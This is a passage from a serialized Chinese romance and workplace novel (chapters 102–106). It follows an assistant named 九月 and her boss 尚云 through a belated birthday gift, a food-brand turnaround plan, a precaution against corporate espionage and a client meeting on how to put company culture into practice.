但她不可否认,在被冷漠磨练时,她便竖起全身的刺应对,遇强则强,连一滴眼泪也不会流。 当被人呵护疼惜,反而自动失去浑身盔甲,脆弱得不堪一击。 此时老师这一番从未曾跟她透露过的肺腑之言,险些让她痛哭失声,但她低头咬着唇,硬逼着眼泪不让流下来丢人现眼。 “老师的恩情,九月不会忘记。一生当中能遇到一个像老师这样的贵人,都是我上辈子积了大德,您对我有如再生父母,我三生有幸,感怀于心。” “九月,在我面前不用说这些客套话。我提起往事,不过是想劝你凡事莫要莽撞。人的性命其实很脆弱,但就是这脆弱的生命却能生发出很大价值。 我活到这把年纪才明白一些道理,你这一腔与生俱来的孤勇,有如一把登峰造极的利剑,几经淬炼可以大用,别把它当成砍柴刀,用废了就可惜。” 此时的九月仍然想不透这些话,她不认为自己能有多大的能耐,更无法想像仇敌环伺的日子:“恩怨分明是最基本的原则,如果眼前恩怨未消,连欢笑都有罪。” “如果你信任我,就听我一劝。凡事不能忍,但要容。你的心胸有一分宽,便尝试去容两分,有一天心胸达到五分宽,便尝试去容十分。你还年轻,等你的心胸豁达到一定程度,成就高度也成正比,你会发现当初使你郁郁寡欢的事根本不值一提。” 九月还是不理解,但她已经不想再追问。 此时,艾蕾准备了宵夜,敲门进来说道:“先生,我准备了栗子五谷粥,你下午身体不舒服没吃东西,趁着九月在这,陪你一起喝点吧。” 宇崇帆应了一声,便跟九月说道,“走吧,一起。” 陪老师用过晚餐,九月这才离开。 回到公寓楼下,踏进公寓大门,发现尚云正巧也在等电梯,她便又缩了回来。 尚云进了电梯后,正面直对公寓大门,看着九月侧身躲在一旁,他眼神一黯,将手指从开启键移到关闭键,直上12楼。 九月没精打采地走进公寓大厅,安静地等电梯下来。进了电梯,脚底下踩到东西,低头一看原来是车钥匙,九月有一次给他叫代驾,拿着尚云车钥匙在手中把玩,所以一下认出来那是他的。 出了电梯,看到他站在门口。“我好像掉了车钥匙,你刚上来有看到吗?” 若不是他的神情很严肃,她都觉得那是他故意丢下的。“我捡到一把车钥匙,应该是你的。” 说着,伸手还给他。 他左手取走车钥匙,右手就将一个礼盒袋挂在她手中,淡淡道:“聊表感谢。” 九月没反应过来,他已打开指纹锁进入房间,门在她面前轻轻阖上。 她提着沉甸甸的礼盒袋,进了屋。将礼盒袋放在沙发上,便去洗漱了。 吹干头发便钻进被窝里。然而,一个多小时的辗转反侧,始终被一个小声音催促,去看看吧。 她翻身下床,将被冷落在沙发上的礼盒提进卧房。 她坐在床上,将礼盒仔细拆开,一只大礼盒和一支小礼盒,小礼盒里装着一支YSL圣罗兰口红。 再打开大礼盒又出现一只大点的礼盒和一只小礼盒,小礼盒里装的是一只漂亮的浪琴手表。每拆开一只盒子,她的心在胸胸怦怦作响,她将拆出来的礼盒摆满了床面,共13只礼物盒,直到拆开最后一个精致发卡。 她抱着自己的双腿,下巴抵在膝盖上,拇指节在唇边摩挲,怔怔地看着铺满床单的礼物盒,直到痛觉传来,才惊觉自己不知不觉咬住了拇指。 “你太过分了。”她泪流满面发了这几个字给他。一边告诉她,我们之间绝无可能,一边却送她礼物,让她心存希望。 他竟然也没睡,不一会儿,他的信息便回过来:“你曾经说过,世界上最幸福的事情,就是收信和拆礼物。生日快乐,祝你幸福。” 十三份礼物,即是错过的十三个生日,他一并补齐。然而“祝你幸福”四个字含着双关,一如继往的在彼此之间隔着千山万壑。 她看了看手机里的日历,果然是那个熟悉的日子。无人问津的岁月里,哪还过什么生日,随着十五岁那年夏天一并沉寂了。 分别十二年以来,经历了十二个生日,今天是第十三个,这些年来第一次收到生日祝福。 她生在农历九月十五,当时妇产科医生给她填写出生资料时,问孩子叫什么名字。父亲第一次做爸爸,高兴地忘北了。 先前压根没想好孩子名字,被医生这么一问,慕爸爸憋了老半天,从本就文墨不多的脑中挤出一句诗词,“九月西风兴,月冷露华凝。我女儿生在农历九月十五,这窗外月色正圆,要不就叫九月吧,好记,好听,也是一首好诗。” 后来九月知道自己的名字由来,还特意去查了查古代诗词,发现父亲念叨的那句诗词出自白居易的《长相思》。 不知在哪儿道听途说来一句话,说一个人的名字,也是带着命中劫数的。这样仔细一想,白居易的《长相思》,即是她这二十七年来也可能是一辈子的感情写照。 当初还不以为意,现在却深以为然。 也是在那一刻,她突然意识到自己的梦该醒了。 明面上她坚强果敢,然而情感始终是她刻意保留无法愈合的缺口,这十二年他的音容笑貌像是刻在记忆里,越是绝望,越是清晰。 他就是她的信仰,是她唯一的神只。 也是她的假想敌与背叛者,是她臆想中的杀父仇人。 爱与恨揉合在一起,痛苦深深植入这十二年光阴。然而,现实中的尚云跟记忆中的尚云发生了根本性的改变,事情完全不是她想像中的是非黑白、清晰明了。 她体内的艺术性人格正在悄悄模糊,那份敏感天真也逐渐失去光芒。 少时,她跟他谈论《长相思》中有诗句,“有如女萝草,生在松之侧。蔓短枝苦高,萦回上不得。这是松树无情,还是萝蔓无用?” 他沉默半晌,说出自己见解:“萝草与松苗一同生长,幼时萝草茂盛,环绕于松苗之侧,护他安然。然而,时过境迁,萝草一生短暂,春去秋来死生多次,换了几次面貌,松苗却根深稳固,日益壮大。 萝蔓鼓足一生气力盘旋向上终不能及,而松树想助萝蔓,也心有余而力不足。不是萝蔓无用,松树也并不是无情,他们本不是同类,想要在一起,有些改变只能靠自己。” 第一百零二章 投靠 如今,他是苍劲挺拔的松树,他的文韬武略,他的鸿鹄之志,他的家国情怀,已经不再安于儿女之情这些渺小事物。 而她就是那棵无用的萝蔓草,这么多年一直盘旋在往事记忆里出不来。 曾经为她遮风挡雨同时也挡住了全部阳光的高大身影,她必须要松开。 只有彻底走出来,不依附,独立成树与松并肩,才能重见天日。 “有些改变只能靠自己。”她喃喃道,眼角还悬着一滴泪,不知道什么时候昏睡过去,冥冥中传来一个声音,很温和,也很清晰,字字入耳: “抹掉你的眼泪,披起你的铠甲,九月,不要在精神上成为别人的附属品,不要成为别人眼中的模样。问问自己,以后的路你要怎么走?你要走到哪里去?那里是否有你真正想要的东西。如果答案明明白白,那么再看看脚下,你现在是否正在那条道上?” 她再次睁开眼睛时,天已大亮,窗外透见来的晨曦似梦似幻,望向天花板的目光须臾不移,坚定而清醒。 闹钟铃声尖锐地划破宁静的空间,九月像往常一样进入一天的忙碌。 一切如常,又似乎不一样了。 尚云携九月给蓝鲸总队的三位队长开会时,也发现了她的微妙变化。 会议上,三位队长逐一汇报最近战绩,进入到提议环节,乔队长说,“最近接到一个奇怪的客户,要说他没有意向,他却接受了公司的邀请,前期销售部安排这客户按流程走了一遍。到我们手上却怎么也推不动。每次电话过去联系,要么不接,要么不在公司。 直接去拜访,十次有九次扑空,剩下的一次不是在开会就是在接待客户。上次好不容易见上面,对方完全不按牌理出牌,甚至想退押金。” “对方听你讲话吗?”尚云问。 “听倒是听,而且听得很仔细,不断想从我话头找所谓的漏洞。” “你有没有听他讲?”尚云又问。 乔队在经验和专业方面完全没问题的,客户这种表现说明他本身没有自信,还处在犹豫徘徊中。 “当然,我也让他讲自己的顾虑,不过他讲的那些事,在我们看来都不算严重的问题,完全可以解决。”乔队十分头疼,说道:“可是我好说歹说,对方就是举棋不定。这个客户我申请放弃,没有坚定的立场容易导致团队的所有努力化为乌有。文化管理本身就跟心态有关,若客户负责人自己的心态都出了问题,很容易走一步退三步。” “不可!” 尚云还没表态,就听九月吐出这两个字。 在座四人纷纷看向她。 乔队诧异道,“慕总助的意思是?” “客户的犹豫恰好说明我们给到对方的信息不足以说服他们,问题出在我们本身,要想办法让对方相信我们,而不是放弃客户。”九月正色道。“一定要说服客户再约见一次,我陪你们一起。” 尚云侧目,深不可测的眸子在九月脸上探寻,九月能力强这话不假,但也只限于吩咐她的事情她会想方设法做到最好,从来不主动进击。 按她以往的表现,除非尚云指名道姓让她去负责,否则,她是不会主动站出来大包大揽。 他乐于见到九月这样的表现。良久,他脸上浮现微不可见的笑意。 乔队却面露担忧之色。 甘队和厉队同是蓝鲸总队带队人,他们了解乔队的处境和担忧,一队的甘队就事论事说道,“九月,不是乔队不相信你。他可能是担心就算你这次见面说服客户,却又在执行过程中摇摆不定,那时蓝鲸团队才骑虎难下。” 厉队附议道,“这种情况我们二队也遇见过,确实难做,还影响我们自己的团队士气。” “没关系,这个客户由我全程跟进。”九月斩钉截铁地说道。“客户愿意达成协议交了定金,说明他的意向很强烈。后来的摇摆一定有原因,无论如何,这个客户不能放弃。” “九月说的有道理,乔队不妨一试。”尚云在一旁听了半天,刚说了一句,手机响了,他挂掉电话,声援九月,“公司不缺信任我们甚至主动找上门来的客户,但不能就此将客户画相固定在一个框架里。要想增强团队活力和适应能力,在残酷竞争里生存,就必须经历无数次艰难挑战,我们半年一次的大型军演目的就在这里。遇难而上是唯一的途径。九月有这样的信心,是我们的楷模,我看好她,也看好你们。” 三位队长便沉声接令,尚云觉得也差不多了,便道:“没有其他事,今天会议就到这里,散会。” 说完,他给关之洁回了个电话,关之洁知道他的规矩,会议时间没有紧急事不要打电话,所以,在会议时间给他打电话,一定是紧急事务。 果然,电话一接通,就听她急切说道:“前台小袁打电话过来,说外面有一伙人来找你,看形象都不是什么善茬。倒像是在社会上混的人。”关之洁最后说,“尚总,我担心来者不善。要不要通知严教官处理?” 尚云淡淡道,“没关系,我过去见见。” 前台沙发上横七竖八坐着几个人,尚云出现时,他们立即正襟危坐。 “尚哥好!”其中一个人喊道,几个人齐齐站起来。 说话的正是在闹市带头欺负九月的黄毛小哥。不过,他的头发倒是染成黑色,修剪得还算利落,但领口露出来的纹身和耳坠上的耳钉还是特别扎眼。 “坐。”尚云扫了几人一眼,示意他们坐下。“说说,专程来找我为的什么事?” “尚哥贵人多忘事。”黄毛小哥讪笑道,“我先自我介绍下,我姓任,单名聪,今年24岁,之前不懂事,经常为朋友打抱不平,呃......确切的说拿人钱财替人消灾,所以有时候难免会造成误会。” 尚云似笑非笑,一瞬不瞬地盯着他,他喉结滚了滚,干笑了下,艰涩地继说道,“跟尚哥也是不打不相识。我觉得您身手了得,而且有侠义心肠,当时虽将我们扣押到派出所,但给我们留了钱和名片,说让我们有需要可以找您。” 他回头看了看兄弟几人,舔了舔嘴唇,又道,“后来我们几个想想您的话,觉得您说的对,父母抚育我们,还指着我们养老,不能再让他们操心。所以想跟着尚哥混,呃不,跟着尚哥做事,做什么我们都愿意,不怕吃苦。而且,我们也向人打听了普世公司,尚哥在商界挺有名气,跟着您干绝对靠谱。” “对对对,我们也是这么想的。”其他四人也争先恐后地表态。 尚云见状,沉思了几秒。 第一百零三章 偷偷分享雪景 五人秉息静气,等待尚云说话。 “你们几个能来,我也欣慰。但丑话说在前头,我虽然有心帮助你们,但普世不是社会收容所,这里的每个人都是靠真本事吃饭的。你们如果心态不正,一心想赚轻松钱,从前的思维模式不变,就入不了普世大门。”尚云音量不高,却深沉有力。 “我们都知道,已经做足思想准备,要痛改前非了。”他们异口同声道。 “嘴说无凭,我只看行动。”尚云道,“所有的普世人在入职前都会经历重重考验和测试,包括为期一周的入职培训。你们几个比较特殊,所以入职培训延期三个月,培训期间包吃住,有底薪,三个月之后经过考核,表现合格了方签订合同,正式录用。” “没问题,谢谢尚哥。” “以后,就统一按职级称谓吧。公司有军事文化,言谈举止都要符合公司规矩。”尚云道。 “是,尚总。” “你们先坐会,我让人力资源部安排你们填表。”尚云说完,就去找人资经理何艳,将事情详细交代了一遍。何艳会意,便吩咐下面的人安排下去。 前台本以为剑拔弩张的场面,没想到尚云和风细雨解决了。那几个年轻人临走时,还礼貌地跟她道谢。小袁受宠若惊,半天没缓过来。 刚走至办公室门口,尚云就又接到一个电话。 电话里传来中年女士的声音:“尚先生,我是宋氏食品公司的董事长秘书,对于上次您专程来我司洽谈合作事宜,董事长考虑之后非常期待,如果您时间方便,明后天随时可以过来深入合作。” “好,我明天过去。感谢戴老先生的信任。” “该感谢的是我们,那静候尚先生到来,就不打扰了。” 尚云跟关之洁道,“小关,你叫九月和木信来我办公室。” 不一会儿,木信和九月便先后进来,尚云开门见山道,“我明天又要出远门,短则三四天,长则半个月,连续三个月到半年都会这样。木信,这正是历练的好机会,公司大小事宜都交给你代理决策,当然,实在拿不定主意也可以联系我,我抽空回复你。每天要跟我汇报公司状况,可能无法及时给你回信,会保证每天晚上十一点前看邮件。没问题吧?” 木信面露难色,“应该没问题吧?” “你这个答复我不喜欢。” “绝对没问题!”木信重信说了一遍。 尚云走过去拍拍他的肩膀,“如果自己都不相信自己,你如何让他人信服你?要相信‘相信’的力量。” “是。”木信郑重道。 尚云又走至九月跟前,九月低下头,知道他将要说什么。 “九月,蓝鲸总队那边现在交给你,今天上午你的表现我看在眼里,那是你的潜力所在,今天发挥出来的不过冰山一角,已经让人惊喜了。” “我会尽我所能。尚总放心。”九月面无波澜。 尚云继续道:“我说过,普世是一个很大的舞台,你有才能尽管发挥出来。不用担心你的才能没有人赏识,只要能基于普世的文化原则解决客户的痛点,所有的客户都会成为你的粉丝。” 九月抬起头,站在他面前的不是尚云,分明是睿智的职场导师,是她上战场前赋予信任和支持的首长。 她情不自禁的臣服于他,“我明白。” 尚云转头看着木信,“你们二人遇事互相商量,公司在关键进击阶段我本不应离开,但这次我有非去不可的理由,无论是道义还是人情层面,我都不能袖手旁观。练兵千日,用兵一时,这仗是否打得漂亮,现在就是揭晓平日功底的时候了。” 二人默默点头。 他转身朝办公室走去:“下去吧,我给全体管理发一封邮件。” 时间过得很快,转眼一个星期过去了。 北方已经进入隆冬,下了第一场雪。 尚云在戴老先生的陪同下,边学习公司流程和经营理念,边修正公司的定位和愿景。 戴老先生和其他创始人一样,将自己创造的基业当成自己的孩子,可以为之废寝忘食,介绍起来如数家珍,满眼憧憬,对它的展望更是滔滔不绝。 但他的精神看起来不错,身体却一如继往的虚弱,每天只能介绍很短的时间,就这样,尚云在食品业是门外汉,一边学习,一边亲力亲为去了解摸索,将企业中每个阶段的找到关键连接点,试图串起来,重新创造新的文化和企业故事,并改良了食品在市场上的定位。 戴老先生的保姆打来了盒饭给尚云,“尚先生,您没去吃饭,董事长让我给您送来,还说让您多休息,别太拼了。” 此时他正埋头梳理脉络,亲自撰写企业故事。 抬头看到盒饭上白色的“柳絮”,他用手触摸,丝丝凉意,立即在指尖化成水。问道:“下雪了吗?” 她将自己那把被雪裹成棉被似的伞放在门外没带进来,否则尚云会更惊讶。听他这么问,她爽朗笑道:“下暴雪啦,瑞雪兆丰年,我觉得是好兆头呢,咱们公司有救了。” 尚云走至窗边,推开窗户一看,果真密匝匝的鹅毛大雪裹着寒风扑面而来,嘴上却回应道,“此话怎讲?” “这是董事长说的,他说有您在,公司就有希望。正好这场雪也应景,呼应上了。董事长心情好了很多,今天多吃了半个馒头。”保姆乐呵呵的,“尚先生,你先吃饭,凉了对肠胃不好。一会我来收碗。” “好,有劳。” 尚云听他关心自己的肠胃,就没来由的想起九月,拿出手机拍了张户外飞雪漫舞的照片,想分享给她。 想了想又退回主页面,发了一个朋友圈,放上这张图片,一个文字也没有,权限选了限她一人能见。 关了窗,他匆匆扒了几口饭,继续埋头写东西,想起来了再吃几口,写完之后饭也硬了。 感觉胃部稍有不适,但他顾不得这么多,又紧赶慢赶将接下来的战略定向方案写出来,准备调整战略。 方案出来后,制作成ppt,组织高管开会。戴老先生也过来旁听。 尚云深入浅出的讲解自己的思路,“公司愿景和使命是助力国家崛起,为民生作贡献。老品牌建立年份久远,这个愿景和使命要稍作修正。 咱们的产品放在以前,纯天然、无添加,工艺从头到尾清清白白,坚持用心做好品质,坚持低盈利低价格,到如今一百多年的老字号。但现在时代变了。老一辈的人渐渐地都已经“走”了,现在的消费是年轻人的天下。年轻人因为没有经历民国时期的艰难,没有直接受惠于这个企业,不知道这家企业存在的意义,不再关心宋氏食品和它的存亡。 这是我们企业发展低迷的主要原因。 咱们的产品质量和工艺没有任何问题,但市场对我们的产品认知停留在老派、过时,我们必须要改变营销方法,并且重新定位,再借用产品经典工艺这个卖点出圈。” 第一百零四章 九月选人 “可是,刚才你也说市场对我们的产品接受度不高,就是源于我们老派和过时,经典工艺就是老派和过时的代名词,如何作为卖点呢?” “这个问题问到点上了,非常好。当下的食品业几乎每隔一段时间就有反面案例爆出,为什么?因为现代生活水平高,人人都将健康视为重中之重,人人都在谈养生,不健康的食品正在一点点被大众排除出局。 而我们的经典工艺正符合健康无添加、注重品质和细节这一点,但外人只知我们老派、过时,并不知道这其中的工艺奥妙,我们要提炼出优势,再以营销策略补短,重新打入年轻人的‘食界’。” 见在座的各位高管点头称是,尚云又道,“关于营销方案,我打算用企业故事包装产品,将原本普通产品赋予民族情怀,改变众人对它的认知。 另外再针对产品在市场上的优势和劣势,给出了两个极端定位:一个是时尚高端路线,一个是亲民路线。时尚路线的产品设计针对办公室小零食,亲民路线针对传统节日、商超零食铺和品牌连琐零食铺。 销售渠道也分为线上与线下两个渠道,一个是直播方式,趁着新闻热度,高调进驻全国最大的传播行业平台金仕集团,以此造势。 再用小剧场短视频连续剧演绎,剧本撰写人我负责找人写。以小视频连续剧来传播文化故事,结合直播销售,如果顺利塑造出品牌Ip和文化故事Ip,就可以应用到线下,用线上Ip引流带动线下销售,线上与线下结合宣传,互相引流,形成良性闭环,雪球越滚越大,一切都水到渠成。” 对于尚云这番见解,宋氏食品的高管全然没接触过,但好在他们也已经被时代洗礼过,能听懂他的布局,知道这是给宋氏食品推进蜕变通道,因此个个都举双手赞成。 戴老先生带头鼓掌,肯定尚云的决策。 方案通过后接下来便是培训全员的新信念,车间一扫颓势,每个人都热情高涨起来。 尚云午休抽空打了个电话给九月,“九月,公司那边怎样?” “一切都顺利,放心吧。”九月轻描淡写,并不打算将自己遇到的挑战说给他听。 “那就好,你推荐一个文笔比较好的人给我,我按排一点额外工作给他。” “是做什么用?” “短视频剧创作剧本,不会很多,二十个视频足够了。” “肖宏,他很优秀!”九月不假思索便推荐了他。 “好,叫他联系我。”尚云说道。 “嗯!你那边下雪了?”九月突然有点前言不搭后语。 尚云望望窗外的明媚阳光,不知道九月怎么突然问起这事。 “我刚刚看到你的朋友圈,前段时间忙得脚不沾地,今天才看到你几些日子发的图片。”九月支支唔唔起来,“多注意防寒,特别是胃部。” 尚云唇边轻轻勾起,静默了几秒钟才说道:“嗯,我没事。你若太忙,找关之洁和东维恺协助你,要劳逸结合。” “那没事我就先联络肖宏。” “嗯。” 尚云挂断电话,看到朋友圈有红色信号,他点进去,看到九月给他的点赞。他眸底一片暖融融的笑意。 九月则找到肖宏的电话,约他茶水厅聊几句。 肖宏经九月指点后,文风有很大的改观,至少再也没有客户表示过不满。 他对九月心存感激,因此信心大增。此时听到九月约见,便毫不犹豫就过来了。 “九月总助,你找我?” “不好意思,打扰你午休。”九月倒了两杯咖啡,一杯递给肖宏。 “害,我反正也睡不着,不算打扰。正愁没人说会话呢。”肖宏笑着说,看起来性格也开朗了很多。 九月喝了一口,皱眉道,“有点苦,你加糖吗?” “你能喝我就能喝。”肖宏说着抿了一口,眉都不皱下,开玩笑道:“九月总助位高权重,从不轻易找我。这次一定又有重大事项。能不能透露是好事还是坏事。” 九月轻轻一笑,“诶,你真的变了很多,我说的是内心状态。” “这还得多谢九月总助,听君一席话,胜读十年书,当天我就开窍了。” “有没有这么夸张?我觉得这还是你自己内心想改变的欲望很强烈,外界稍稍一点拨你就支棱起来了。”九月又喝了一口咖啡,提神,“所以,我相信你能接住老板钦点的任务。” 肖宏愣了一下,“老板钦点?我胆小,可别吓我。” “老板要找一个写作能力强的人去写短视频剧本,我觉得你的文风自然,注重情节,挺适合接这项任务。” “蓝鲸这么多团队,在我这个岗位高出我水平的人一定不少,九月总助为何就选了我?” 九月似乎猜到他会这么问,她还真的认真考虑过这个问题:“我承认,我是带了点私心。当初找你聊写作,是我开展蓝鲸团队的管理工作一个小切口。你发展得好,证明我的眼光和方法都是正确的。 另外,我确实也觉得你的能力不差,就是缺自信,内心太脆弱,如果能有机会让你的文风优势得以发挥,一方面彻底巩固你的基础,另一方面能锤炼出稳定的风格。” 九月自行解释道,“我用了‘锤炼’这个词,得跟你事先说明,在尚总手底下做事,他的要求向来严格,你必须要有心理准备。你接了这个任务,既是挑战也是机会,要么得到经验,要么一战成名,横竖你都不亏。” 肖宏刚才还轻松玩笑的神情,此时凝重起来。 九月也不催他,慢慢喝着咖啡。 “好,我接。”肖宏露出悲壮的神情。 九月本来想笑他两句,又觉得他压力大也属正常,便缓缓语气:“那一会我把尚总的电话发给你,你抓紧联系他。” “谢谢九月总助,果然你一出手便是大事情。” 九月起身,忍不住跟他说着一番推心置腹的话:“你知道吗,当你沉浸于事情本身,你的压力就会消失。如果你的心浮在表面,那你便要应付内心的不断内耗、外界的不良信息和事情本身的难度,并且呈几何倍数将它们无限放大。你想想你得多累。 所以很多将事情做到极致的人,他只专注于事情本身,就像一个螺丝钉,相当于全身力量集中在尖部,很容易就扎进目标。这可是我自己悟出来的道理,从不外传,你回去仔细想想。” 肖宏若有所思,目送九月的背影走出茶水间。 “螺丝钉?好形容。”他也收拾离开,去做螺丝钉该做的事。 第一百零五章 壮志难酬 在拐角差点撞到一个人,对方手中的档案袋掉在地上,肖宏忙道歉,“对不起,对不起。”捡起地上的档案袋交给来人,发现是木信:“木信总助。” 木信并未多言,一手拿着手机在耳边,正凝神听电话里讲话,一手接过档案袋行色匆匆。 “你确定是他吗?” “确定,酒吧里灯光比较暗,我还怕看错,后来我跟着他去洗手间确认了,千真万确。” “好,我知道了。” 木信挂断电话,拨打尚云电话,响了很久没人接,正在他要挂电话时,电话接通了,传来陌生女性的声音:“喂,您好。” 木信拿下电话,屏幕上显示“尚将”二字,确认没打错,才又开口道:“尚总本人呢?” “哦,尚总刚刚胃炎犯了送来医院正在做检查,我是公司派来照顾他的小田,你如果有事,等他检查结束我代为转告。” 木信隐隐蹙眉,“严重吗?” “还不清楚,不过看医生的神情我觉得不轻松。”小田说道。 “帮忙照顾好尚总,感谢你!” “当然,请您放心。”小田挺认真。 东维恺住在宿舍,木信想了想,将即将拨出的电话挂断。 他已经从总助室搬出来,在独立办公室里办公,就在总经理室对面。 此时,他坐在位置上,眼光透过落地窗看向外面鳞比栉次的建筑。 尚云离开公司的消息应该传到克普,他们环饲左右,就等着趁虚而入。如此急不可耐,吃相太过难看。 尚云旧病复发,此事不能再讲给他听,以免影响情绪加重病情。 此时,身边连个商议的人都没有。他想到了九月,但九月在他心里终究只是一个女孩子,就像姗姗一样需要保护,这种事情告诉她也无济于事,徒增烦恼罢了。 何况她的压力也不轻,蓝鲸团队三大队长,对蓝鲸总负责人的岗位早就志在必得,却没想到九月横空出世降到他们头上。虽然九月有些真本领,但在公司也没什么根基,要说完全信服于她只怕很难。 此时此刻,她要想的事情估计比他还多。 研发智能产品的测试方案明天上午就要开始实施了,那些从各部门选拔出来的种子选手中有多少人被克普的人威逼利诱过?有多少人值得信赖? 现在重新筛选不仅容易打草惊蛇,也容易误伤真正忠诚的人。必须想一个两全齐美的办法。木信镇定的表情下,却暗潮涌动,脑中飞速运转,思维在高速奔跑擦出一串串火花。 思来想去只能修改测试方案。将完整的测试分段执行,除研发部人员以外,参与测试项目者均只能接触其中一个区域。 像之前尚云设计公司运转流程一样,将一整套完备的程序拆分成若干个独立部门分阶段完成,任何部门顶极人才,也终究在一个小区域里精湛,无法知晓其他部门的精要部分。 一方面是害人之心不可有,防人之心不可无。另一方面是为了让人专其才,利其器。 为保险起见,每个参与测试者,像研发部的人员一样,签订保密协议,违约将有严重后果。 九月有不同的参考方法,“依据线上流程,将之退化为简易电子测试,再将其答案由研发部门分析过后上传至系统程序,等待分析结果。” 见时间差不多,木信便打电话找来东维恺,“维恺,尚总出差生病了,他身边也没有趁手的助手,我希望你去协助他。” 东维恺当然愿意,“只是尚总他嘱咐我要全力协助你的工作开展,明天就是智能项目测试活动,你一个人忙得过来吗?” “放心吧,没问题。” 木信打电话给关之洁安排机票给东维恺,九月就问了一嘴,“东维恺要调去尚总身边吗?” “听说尚总老毛病犯了,他孤身一人在他乡,木信便派东维恺去协助他的工作。” 九月怔了怔,今天通电话就觉得他声音不同往日那样清亮,看来是强撑着身体不适给她打的电话。 想到这里,便跟关之洁离开十分钟,飞快跑去公寓取来一个小纸箱交给东维恺,为避免闲话,她撒谎道:“这是尚总的快递,我帮他签收的,应该是他紧急要用的,你替我转交给尚总。” “好的,可以拆开吗?一会儿我装进行李箱。”东维恺并未多想。 “不能......吧?”里头除了几份暖胃驱寒食材配料,还有一条白灰色围巾。她多年前学会织围巾后第一件成品,压箱底一直没给他。 她的心虚表现,东维恺只当她是做不了主,也没再纠结。 东维恺走后,她突然就后悔了。此前听到他病倒了,关心则乱,她顾不得理性思考,只急着捎去御寒之物。 冷静下来后,她惊觉这举动又犯了他的大忌,两人之间话已经说到那份上了,她也打心里接受了这个结局,从此应树立职场精英形象,不再纠缠于儿女私情。 他出差之前她刚获得他的首肯,如今一条围巾又将她打回原形。 喜欢一个人,是掩盖不住的。 文菌说的话虽简洁,总是戳中她的心。 容不得分神思考这些,乔队的电话已经打过来了,“九月,我们已经约好今天下午三点面见客户,还有一个多小时,半个小时能到,二十分钟后可以出发吧?” “宁愿早到不要迟到,以防塞车,我们这就出发。”九月是学习了尚云的习惯,早点去可以通过观察获得额外的信息。 “好。我们在楼下等你。”乔队说道。 “不宜人多,你我二人会见即可。” “想带带新人。” “平常客户可以,但这个客户本身对我们存了疑虑,人多压力大,他戒备心就起来了。” 乔队被她说服,便留下新人,自己开车。 九月简单收拾了一下,提着笔记本电脑便出了门。 乔队原来就将这家难搞的客户资料发给九月了,在车上又事无巨细地介绍了一遍,“客户创始人姓南,却是bJ人。颇有北方粗犷豪爽的影子,内心极其谨慎细致......” 两人很快便到了客户公司。 “南总,幸会,我是普世文化首席顾问慕九月。这是我同事,首席文化执行官乔科,上次见过面。” 南总很热情,“记得记得,欢迎慕小姐、乔先生。我们坐下说。” “刚才我们提前到了公司,怕南总有其他安排就在会客厅坐了几分钟,发现公司的核心文化还是挺齐全。” 南总也很坦城:“不瞒你说,我可是有过这样的合作先例的。” 九月很惊讶,这个信息乔队没提过,侧头一看,乔队也是一脸惊诧。 “但是,折腾一番后,公司并没有什么变化。但我知道,公司缺少一种活力,缺少文化。我自己也不太懂,看了一些书一知半解,也组团去学习很多企业的优秀文化,引用到我们公司来都没有产生效果。”南总叹息,指着办公室他身后那面墙,“你们看,我们公司的计划我都做成图示,天天自我鞭笞。但公司实际情况还是五年前设立的目标,这些年丝毫没进步。壮志难酬啊。” 第一百零六章 蚂蚁文化 九月点点头,并不急着插话。 “我之前有听过普世创始人的直播课,我觉得普世公司值得信赖。于是留下咨询电话后,你们的销售就联系到我,交了押金。但我对贵公司内部情况却不甚了解,毕竟创始人优秀不代表公司整体素质。” 他看了一眼乔队,倒也诚恳,“所以,上次言语中多有冒犯,乔先生还请见谅。公司的事情弄得我焦头烂额,说话措辞难免失了考量。但我其实就希望通过与你的互动,摸出公司内部人员的专业素质,以免后续再重蹈覆辙,又出现不愉快的合作。” 这次谈判两人商量好,由九月作为主谈人,因此乔队长也没有像之前那么健谈,话头引到自己身上了,才回应道:“当然,我非常理解南总的顾虑,一朝被蛇咬十年怕井绳的心态人人有之,干大事业的人都有胆大心细的特点,谨慎一点总没错。” 南总微微一笑。把泡好的茶斟给他们二人,“来,喝茶。” 九月抿了一口,笑道,“南总也是懂养生之人,喝的这是红茶,武夷正山小种,健胃舒肠,延年益寿。” “哈哈。我倒不是很懂茶,这是朋友送的,喝着口感温和,从喉咙舒服到肚子里,招待客人拿得出手。”南总爽朗笑道。 “南总是北方人,应该熟知酒文化,但南方则讲茶文化,小小一壶茶,能品出一壶茶的三生死六工艺九道茶序。一杯茶况且文化博大精深,更何况一家公司的企业文化。”九月渐渐切入正题。“说到企业文化,公司的核心文化是此前合作的管理公司所设计吗?” 南总逐渐听出味来:“没错,你发现问题了吗?” “那倒没有,只要这是你们切实在执行又符合公司战略土壤就是好的文化。” “说到执行,这是个大问题,一直没有解决。慕小姐对文化的务虚及务实有何见解?”南总半试探半求解。 “企业文化都有核心三项,愿景是公司的终极目标,使命是我们达成这个目标的高级信仰,核心价值观则是我们实现终极目标的方式方法。这些我们尚总在直播课里足足用了五个小时,一点点掰碎揉烂投喂给大众的,南总听过他的课我就不重复了。不过,我可以用贵公司的价值观如何落地执行这一点来打个比方,南总就明白什么是务虚,什么是务实。” 九月一番话,正中南总下怀,“对对对,用我们公司的核心价值观来作比,比较直观易懂。我从小重理不重文,关于文字概念头疼得很。” “对。那我就卖弄一下。比如‘创新’这个词。”九月将空茶杯放在桌面,说道:“发通知张贴出来或者找广告商制作霓虹字摆出去,别说员工可能忙于工作,不会留意这些,就算员工们看到了他也不明白,甚至不知道为什么公司要挂这两个字放在这里,到底起什么作用。 公司要做的一是要解释,也就是文化解读。二是用行动引导行为。 我们像教孩子那样耐心,一点点引导,他们跟着做,慢慢就知道,哦,原来这些行为就是创新概念。觉得容易操作,没有门槛,绝大多数人会行动。 最开始用最简单易懂的方式去引导,比如说要求每个人,每天做一件跟往常不一样的事。比如以前上班走这条路,今天我改其他路线。今天鸡蛋清蒸,明天煎荷包蛋。先不限于生活或者工作,因为前期就是要把思维模式建立起来,生活和工作通用,互相启发。这可是我们尚总分享的工作心得。 每个部门建个创新文化群,群中‘创新’主题打卡累积21天的有奖励,下一阶段需坚持60天,奖励升级,难度也升级,以此类推,这思维模式自然而然养成了。奖励大小和方式要考虑长远性,这些我们都可以在执行中去设计。” 南总越听越着迷,一拍大腿道:“对,是这个理,原来我们缺少这关键的一步。怪不得天天宣导,就是没有人执行。慕小姐,你可算一语点醒梦中人。” 说着话,新的一壶茶泡好了,南总给九月倒了一杯,“小心烫手。”又给乔队也添了茶水。 乔队看九月的目光中露出惊叹,再看南总的态度,知道这一单稳了。 